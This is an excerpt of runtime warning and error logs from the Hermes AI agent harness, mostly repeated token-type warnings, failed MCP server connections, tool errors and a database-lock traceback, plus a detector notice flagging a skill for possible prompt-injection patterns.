`gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 13:36:36,072 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 13:36:46,714 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 13:38:27,379 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 13:38:27,380 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 13:39:32,257 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 13:39:32,257 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 13:41:54,284 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 13:43:52,069 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 13:43:52,070 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 13:43:55,137 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 13:43:55,137 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 13:45:32,716 WARNING agent.model_metadata: Could not determine context length for model 'default' (base_url=http://localhost:20128/v1/) — falling back to 256,000 tokens. Set model.context_length in config.yaml to override. 2026-09-11 13:45:41,744 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 13:45:41,744 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 13:47:01,487 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 13:47:32,956 WARNING [20260908_091541_71407d] run_agent: Context compression made no progress for 120.0s (total wait 121.0s, ceiling 600.0s); continuing without compression 2026-09-11 13:47:50,443 WARNING [20260908_091541_71407d] agent.tool_executor: Tool cronjob returned error (0.01s): { "success": false, "error": "Job with ID or name 'glv_01_analytics' not found. Use cronjob(action='list') to inspect jobs." } 2026-09-11 13:48:37,476 WARNING [20260908_091541_71407d] tools.skills_tool: Skill security warning for 'kanban-multi-profile-orchestration': skill content contains patterns that may indicate prompt injection 2026-09-11 13:52:10,097 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 13:56:17,616 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 13:56:17,646 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 13:56:17,665 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 13:56:17,681 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 13:56:24,847 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 14:00:41,598 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 14:00:41,631 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 14:00:41,661 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 14:00:41,680 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 14:00:48,642 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 14:05:57,979 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 14:08:43,290 WARNING hermes_cli.web_server: event loop stalled 14.8s (GIL pressure suspected) 2026-09-11 14:11:06,661 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 14:16:09,582 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (12.22s): {"output": "> openmaic@1.0.0 test /opt/ai-os/products/ceo/projects/tech/OpenMAIC/app\n> vitest run --run tests/document-store/document-storage-config.test.ts\n\nsh: 1: vitest: not found\n ELIFECYCLE  2026-09-11 14:16:15,410 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 14:21:22,692 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 14:26:04,541 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 14:26:04,541 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 14:26:30,750 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 14:26:31,621 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 14:26:31,621 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 14:31:38,708 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 14:36:04,384 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 14:36:04,385 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 14:36:45,775 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 14:37:08,810 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 14:37:08,811 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 14:41:22,179 WARNING [20260908_091541_71407d] agent.tool_executor: Tool terminal returned error (1.25s): {"output": "○ kanban-server.service - Hermes Kanban File Server and Dashboard\n Loaded: loaded (/etc/systemd/system/kanban-server.service; disabled; preset: enabled)\n Active: inactive (dead)" 2026-09-11 14:41:47,763 WARNING [20260908_091541_71407d] agent.tool_executor: Tool terminal returned error (0.11s): {"output": "ls: cannot access '/opt/ai-os/products/ceo/kanban_server.py': No such file or directory", "exit_code": 2, "error": null} 2026-09-11 14:41:54,393 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 14:42:19,036 WARNING [20260908_091541_71407d] agent.tool_executor: Tool write_file returned error (0.00s): {"error": "Refusing to write to sensitive system path: /etc/systemd/system/kanban-server.service\nUse the terminal tool with sudo if you need to modify system files."} 2026-09-11 14:42:55,129 WARNING [20260908_091541_71407d] tools.skills_tool: Skill security warning for 'kanban-multi-profile-orchestration': skill content contains patterns that may indicate prompt injection 2026-09-11 14:47:02,451 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 14:52:10,029 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 14:53:47,167 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 14:53:47,195 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 14:53:47,202 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 14:53:47,228 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 14:53:55,914 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 14:53:57,620 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 14:53:57,641 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 14:53:57,657 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 14:53:57,747 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 14:54:05,232 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 14:57:14,761 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.01s): {"output": "", "exit_code": -1, "error": "This foreground command appears to start a long-lived server/watch process. Run it with background=true, verify readiness (health endpoint/log signal), then e 2026-09-11 14:59:13,500 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 15:01:20,233 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (180.28s): {"output": "[Command timed out after 180s]", "exit_code": 124, "error": null, "hint": "Exit 124: the command hit its timeout. Raise timeout= (foreground max 600s) or run it with background=true and no 2026-09-11 15:01:45,173 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 15:01:45,174 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 15:01:57,056 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 15:01:57,056 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 15:02:06,519 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 15:02:06,519 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 15:02:36,511 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 15:02:36,512 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 15:04:21,601 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 15:04:39,603 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 15:04:39,603 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 15:04:48,735 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 15:04:48,735 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 15:06:24,962 WARNING [20260908_145242_f594ff] agent.tool_executor: Tool terminal returned error (0.97s): {"output": "node:internal/modules/cjs/loader:1433\n throw err;\n ^\n\nError: Cannot find module './.next/server/chunks/lib_server_provider-config_ts_995c2560._.js'\nRequire stack:\n- /app/[eval]\n 2026-09-11 15:08:02,992 ERROR agent.chat_completion_helpers: Streaming failed before delivery: Error code: 503 - {'error': {'message': 'database is locked'}} Traceback (most recent call last): File "/usr/local/lib/hermes-agent/agent/chat_completion_helpers.py", line 3992, in _call result["response"] = _call_chat_completions(stream_attempt_id) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/agent/chat_completion_helpers.py", line 3341, in _call_chat_completions relay_llm.stream( File "/usr/local/lib/hermes-agent/agent/relay_llm.py", line 333, in stream return ManagedLlmStream( ^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/agent/relay_llm.py", line 407, in __init__ raw_stream = stream_factory(request) ^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/agent/chat_completion_helpers.py", line 3279, in _open_stream return request_client.chat.completions.create(**stream_kwargs) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/openai/_utils/_utils.py", line 286, in wrapper return func(*args, **kwargs) ^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/openai/resources/chat/completions/completions.py", line 1204, in create return self._post( ^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/openai/_base_client.py", line 1297, in post return cast(ResponseT, self.request(cast_to, opts, stream=stream, stream_cls=stream_cls)) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ File "/usr/local/lib/hermes-agent/venv/lib/python3.11/site-packages/openai/_base_client.py", line 1070, in request raise self._make_status_error_from_response(err.response) from None openai.InternalServerError: Error code: 503 - {'error': {'message': 'database is locked'}} 2026-09-11 15:08:04,256 WARNING [20260908_145242_f594ff] agent.conversation_loop: API call failed (attempt 1/3) error_type=InternalServerError thread=Thread-698 (run):137705912530624 provider=custom base_url=http://localhost:20128/v1 model=default summary=HTTP 503: database is locked 2026-09-11 15:08:04,303 WARNING [20260908_145242_f594ff] agent.conversation_loop: Retrying API call in 2.264127225279595s (attempt 1/3) thread=Thread-698 (run):137705912530624 provider=custom base_url=http://localhost:20128/v1 model=default policy=default error=Error code: 503 - {'error': {'message': 'database is locked'}} 2026-09-11 15:09:15,423 WARNING hermes_cli.web_server: event loop stalled 21.7s (GIL pressure suspected) 2026-09-11 15:09:28,517 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 15:14:36,885 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 15:17:44,532 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 15:17:44,969 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 15:17:45,058 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 15:17:45,241 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 15:17:54,854 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 15:23:02,571 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 15:25:08,715 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 15:25:08,738 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 15:25:08,757 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 15:25:08,794 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 15:25:16,862 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 15:30:25,858 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 15:35:34,252 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 15:40:42,584 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 15:45:49,531 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 15:50:56,871 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 15:56:04,525 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 16:01:12,467 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 16:06:21,111 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 16:09:56,825 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 16:09:56,826 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 16:09:59,345 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 16:09:59,536 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 16:09:59,592 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 16:09:59,743 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 16:10:09,604 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 16:15:16,688 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 16:20:24,650 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 16:23:15,076 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 16:23:15,102 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 16:23:15,110 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 16:23:15,156 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 16:23:22,486 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 16:28:29,741 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 16:33:37,113 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 16:35:15,848 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 16:35:15,848 WARNING hermes_cli.copilot_auth: Token from GITHUB_TOKEN is not supported: Classic Personal Access Tokens (ghp_*) are not supported by the Copilot API. Use one of: → `copilot login` or `hermes model` to authenticate via OAuth → A fine-grained PAT (github_pat_*) with Copilot Requests permission → `gh auth login` with the default device code flow (produces gho_* tokens) 2026-09-11 16:38:18,324 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 16:38:18,412 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 16:38:18,460 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 16:38:18,483 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 16:38:25,384 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 16:43:32,870 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 16:48:41,079 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 16:53:48,049 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 16:58:55,304 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 17:04:03,081 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 17:09:12,142 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 17:14:20,060 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 17:14:33,431 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 17:14:33,504 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 17:14:34,000 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 17:14:34,327 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 17:14:40,765 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 17:19:48,885 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 17:24:56,732 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 17:30:05,358 WARNING tools.mcp_tool: MCP server 'stays' failed initial connection after 3 attempts, parking until a reconnect is requested (state: connecting → parked): McpError: Connection closed 2026-09-11 17:33:48,122 WARNING tui_gateway.entry: Background MCP discovery previously exited with no connected servers; retrying discovery thread 2026-09-11 17:33:48,147 WARNING tui_gateway.entry: Background MCP discovery completed with zero connected servers 2026-09-11 17:33:48,159 WARNING 